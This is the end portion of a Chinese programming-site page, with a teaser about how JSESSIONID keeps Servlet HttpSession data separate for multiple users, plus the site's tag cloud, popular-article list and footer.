alt="Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案"/></a> </div> <div class="NewsDesc" style="width:calc(100% - 138px);margin-left:15px;"> 本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... <a href="https://www.php1.cn/detail/Servlet_ZhiDuiDu_06ebada9.html" target="_blank" title="Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案">[详细]</a> </div> <div style="clear:both"></div> <div class="NewsExt" style="display: none;"> <span>蜡笔小新&nbsp;&nbsp;&nbsp;2023-12-10 12:00:40</span> </div> </li> <li style="height: 180px;overflow: hidden;margin-top: 10px;"> <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8923551941185667" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block; text-align:center;" data-ad-layout="in-article" data-ad-format="fluid" data-ad-client="ca-pub-8923551941185667" data-ad-slot="4741463936"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </li> </ul> </div> </div> </div> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushBash.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushCpp.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushCSharp.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushCss.js"></script> <!--<script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushDelphi.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushDiff.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushRuby.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushScala.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushVb.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushPlain.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushXml.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushGroovy.js"></script>--> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushJava.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushJScript.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushPhp.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushPython.js"></script> <script type="text/javascript" src="/style/SyntaxHighlighter/scripts/shBrushSql.js"></script> <link type="text/css" rel="stylesheet" href="/style/SyntaxHighlighter/styles/shCore.css"/> <link type="text/css" rel="stylesheet" href="/style/SyntaxHighlighter/styles/shThemeLiuQing.css"/> <style> .syntaxhighlighter{ width: 740px; padding-top:40px;padding-bottom:20px; border: 1px solid #333; background: url("/style/SyntaxHighlighter/top_bg.svg"); background-size: 43px; background-repeat: no-repeat; margin-bottom: -7px; border-radius: 15px; background-position: 16px 12px; padding-left: 10px; } .gutter{ display: none; } </style> <script type="text/javascript"> SyntaxHighlighter.all(); </script> <div class="article_right"> <div class="profile"> <div class="author"> <!-- 未登录 --> <div class="author-avatar"> <!--<img src="https://img.php1.cn/3cd4a/1e789/b64/8bf46880584da7a7.gif" class="lazy-img" data-url="" alt="author-avatar">--> <img src="https://img.php1.cn/3cd4a/1e789/b64/6f5a006bc55a919b.gif" class="lazy-img" data-url="" alt="author-avatar"> </div> <div class="author-name"> 手机用户2502863963 </div> <div class="author-intro"> 这个家伙很懒,什么也没留下! </div> </div> </div> <div class="_fe5vfm4a1ds" style="margin-top: 10px;border-radius: 10px;overflow: hidden;"></div> <script type="text/javascript"> (window.slotbydup = window.slotbydup || []).push({ id: "u6915297", container: "_fe5vfm4a1ds", async: true }); </script> <div class="tools" style="margin-top: 15px;"> <div class="tools_top">Tags | 热门标签</div> <div class="tools_box"> <ul> <li> <a href="https://www.php1.cn/tag/int" target="_blank" title="int">int</a> </li> <li> <a href="https://www.php1.cn/tag/go" target="_blank" title="go">go</a> </li> <li> <a href="https://www.php1.cn/tag/timezone" target="_blank" title="timezone">timezone</a> </li> <li> <a href="https://www.php1.cn/tag/rsa" target="_blank" title="rsa">rsa</a> </li> <li> <a href="https://www.php1.cn/tag/eval" target="_blank" title="eval">eval</a> </li> <li> <a href="https://www.php1.cn/tag/dll" target="_blank" title="dll">dll</a> </li> <li> <a href="https://www.php1.cn/tag/join" target="_blank" title="join">join</a> </li> <li> <a href="https://www.php1.cn/tag/ascii" target="_blank" title="ascii">ascii</a> </li> <li> <a href="https://www.php1.cn/tag/ip" target="_blank" title="ip">ip</a> </li> <li> <a href="https://www.php1.cn/tag/post" target="_blank" title="post">post</a> </li> <li> <a href="https://www.php1.cn/tag/md5" target="_blank" title="md5">md5</a> </li> <li> <a href="https://www.php1.cn/tag/get" target="_blank" title="get">get</a> </li> <li> <a href="https://www.php1.cn/tag/sum" target="_blank" title="sum">sum</a> </li> <li> <a href="https://www.php1.cn/tag/netty" target="_blank" title="netty">netty</a> </li> <li> <a href="https://www.php1.cn/tag/php8" target="_blank" title="php8">php8</a> </li> <li> <a href="https://www.php1.cn/tag/subset" target="_blank" title="subset">subset</a> </li> <li> <a href="https://www.php1.cn/tag/future" target="_blank" title="future">future</a> </li> <li> <a href="https://www.php1.cn/tag/emoji" target="_blank" title="emoji">emoji</a> </li> <li> <a href="https://www.php1.cn/tag/match" target="_blank" title="match">match</a> </li> <li> <a href="https://www.php1.cn/tag/substring" target="_blank" title="substring">substring</a> </li> <li> <a href="https://www.php1.cn/tag/bit" target="_blank" title="bit">bit</a> </li> <li> <a href="https://www.php1.cn/tag/web3" target="_blank" title="web3">web3</a> </li> <li> <a href="https://www.php1.cn/tag/function" target="_blank" title="function">function</a> </li> <li> <a href="https://www.php1.cn/tag/httpclient" target="_blank" title="httpclient">httpclient</a> </li> <li> <a href="https://www.php1.cn/tag/cPlusPlus" target="_blank" title="cPlusPlus">cPlusPlus</a> </li> <li> <a href="https://www.php1.cn/tag/iostream" target="_blank" title="iostream">iostream</a> </li> <li> <a href="https://www.php1.cn/tag/flutter" target="_blank" title="flutter">flutter</a> </li> <li> <a href="https://www.php1.cn/tag/copy" target="_blank" title="copy">copy</a> </li> <li> <a href="https://www.php1.cn/tag/数组" target="_blank" title="数组">数组</a> </li> <li> <a href="https://www.php1.cn/tag/java" target="_blank" title="java">java</a> </li> <div style="clear: both"></div> </ul> </div> </div> <div class="rank"> <div class="rank_top_line"> <div class="rank_t_l"></div> <div class="rank_t_r"></div> </div> <div class="rank_top">RankList | 热门文章</div> <div class="rank_box"> <ul> <li> <b >1</b><a href="https://www.php1.cn/detail/HongXian_|_SiKou_e6d52b80.html" title="红线|死扣_Android自定义刻度尺的实现思路以及步骤">红线|死扣_Android自定义刻度尺的实现思路以及步骤</a> </li> <li> <b >2</b><a href="https://www.php1.cn/detail/RenZaiZhiChangSh_80a3d0e2.html" title="人在职场,身不由己?">人在职场,身不由己?</a> </li> <li> <b >3</b><a href="https://www.php1.cn/detail/tensorflow_XueXi_5f0eb565.html" title="tensorflow学习(1.CNN简单实现MNIST)">tensorflow学习(1.CNN简单实现MNIST)</a> </li> <li> <b >4</b><a href="https://www.php1.cn/detail/dfs_Yu_bfs_DeJia_86626496.html" title="dfs与bfs的简单总结及应用 | 详解">dfs与bfs的简单总结及应用 | 详解</a> </li> <li> <b >5</b><a href="https://www.php1.cn/detail/JavaScript-jQuer_a4dfe035.html" title="JavaScript & jQuery 经常使用要领小记">JavaScript & jQuery 经常使用要领小记</a> </li> <li> <b class="black">6</b><a href="https://www.php1.cn/detail/Zai_Pharosmallta_01afbfb6.html" title="在Pharosmalltalk中谈论一段字符串">在Pharosmalltalk中谈论一段字符串</a> </li> <li> <b class="black">7</b><a href="https://www.php1.cn/detail/SimpleXMLRPC_Pyt_a3d06cdf.html" title="SimpleXMLRPC_Python 聊天室 II(SimpleXMLRPCServer模块实现)">SimpleXMLRPC_Python 聊天室 II(SimpleXMLRPCServer模块实现)</a> </li> <li> <b class="black">8</b><a href="https://www.php1.cn/detail/JiYu_FPGA_De_UAR_d856ca4c.html" title="基于FPGA的UART全双工数据控制器">基于FPGA的UART全双工数据控制器</a> </li> <li> <b class="black">9</b><a href="https://www.php1.cn/detail/DLL_ShiShiMe_d4388964.html" title="DLL是什么?">DLL是什么?</a> </li> <li> <b class="black">10</b><a href="https://www.php1.cn/detail/DianYuanDeFengSh_8820983d.html" title="电源的风扇的问题?">电源的风扇的问题?</a> </li> <li> <b class="black">11</b><a href="https://www.php1.cn/detail/ZhuanShiYong_Jav_4b5bf992.html" title="【转】使用Javascript动态创建表格,不同的方法,巨大的运行时间差异!">【转】使用Javascript动态创建表格,不同的方法,巨大的运行时间差异!</a> </li> <li> <b class="black">12</b><a href="https://www.php1.cn/detail/Ubuntu_XiaQiangZ_13641035.html" title="Ubuntu下强制清空回收站">Ubuntu下强制清空回收站</a> </li> <li> <b class="black">13</b><a href="https://www.php1.cn/detail/YiBeiChaDuPaoBuL_9ef27a73.html" title="一杯茶都泡不了!这款VR应用让你体验老年痴呆患者的日常">一杯茶都泡不了!这款VR应用让你体验老年痴呆患者的日常</a> </li> <li> <b class="black">14</b><a href="https://www.php1.cn/detail/PingMuZhenDongXi_6bbd90f0.html" title="屏幕震动效果">屏幕震动效果</a> </li> <li> <b class="black">15</b><a href="https://www.php1.cn/detail/mysql5-8my-cnf-m_6e5b3605.html" title="mysql 5.8 my.cnf,mysql5.7,5.8源码安装">mysql 5.8 my.cnf,mysql5.7,5.8源码安装</a> </li> </ul> </div> </div> </div> <div style="clear: both;"></div> </div> <div class="bottom-bar"> PHP1.CN | 中国最专业的PHP中文社区 | <a href="https://devbox.cn/" target="_blank" title="DevBox开发工具箱">DevBox开发工具箱</a> | <a href="https://www.json1.cn/" target="_blank" title="json解析格式化">json解析格式化</a> |<a href="https://news.php1.cn/" title="PHP资讯">PHP资讯</a> | <a href="https://school.php1.cn/" title="PHP教程">PHP教程</a> | <a href="https://database.php1.cn/" title="数据库技术">数据库技术</a> | <a href="https://server.php1.cn/" title="服务器技术">服务器技术</a> | <a href="https://web.php1.cn/" title="前端技术">前端开发技术</a> | <a href="https://www.php1.cn/phpframework.html" title="PHP框架">PHP框架</a> | <a href="https://tools.php1.cn/">开发工具</a> | <a href="https://www.json1.cn/tools/" title="在线工具">在线工具</a><BR /> Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | <a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=11010802041100" style="color:#444;"><img src="https://img.json1.cn/3cd4a/21981/c5a/4df0b47476da9030.png"/>京公网安备 11010802041100号</a> | <a href="https://beian.miit.gov.cn/" target="_blank">京ICP备19059560号-4</a> | PHP1.CN 第一PHP社区 版权所有 <BR /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div> <script type="text/javascript" src="//js.users.51.la/21559097.js"></script></body> </html>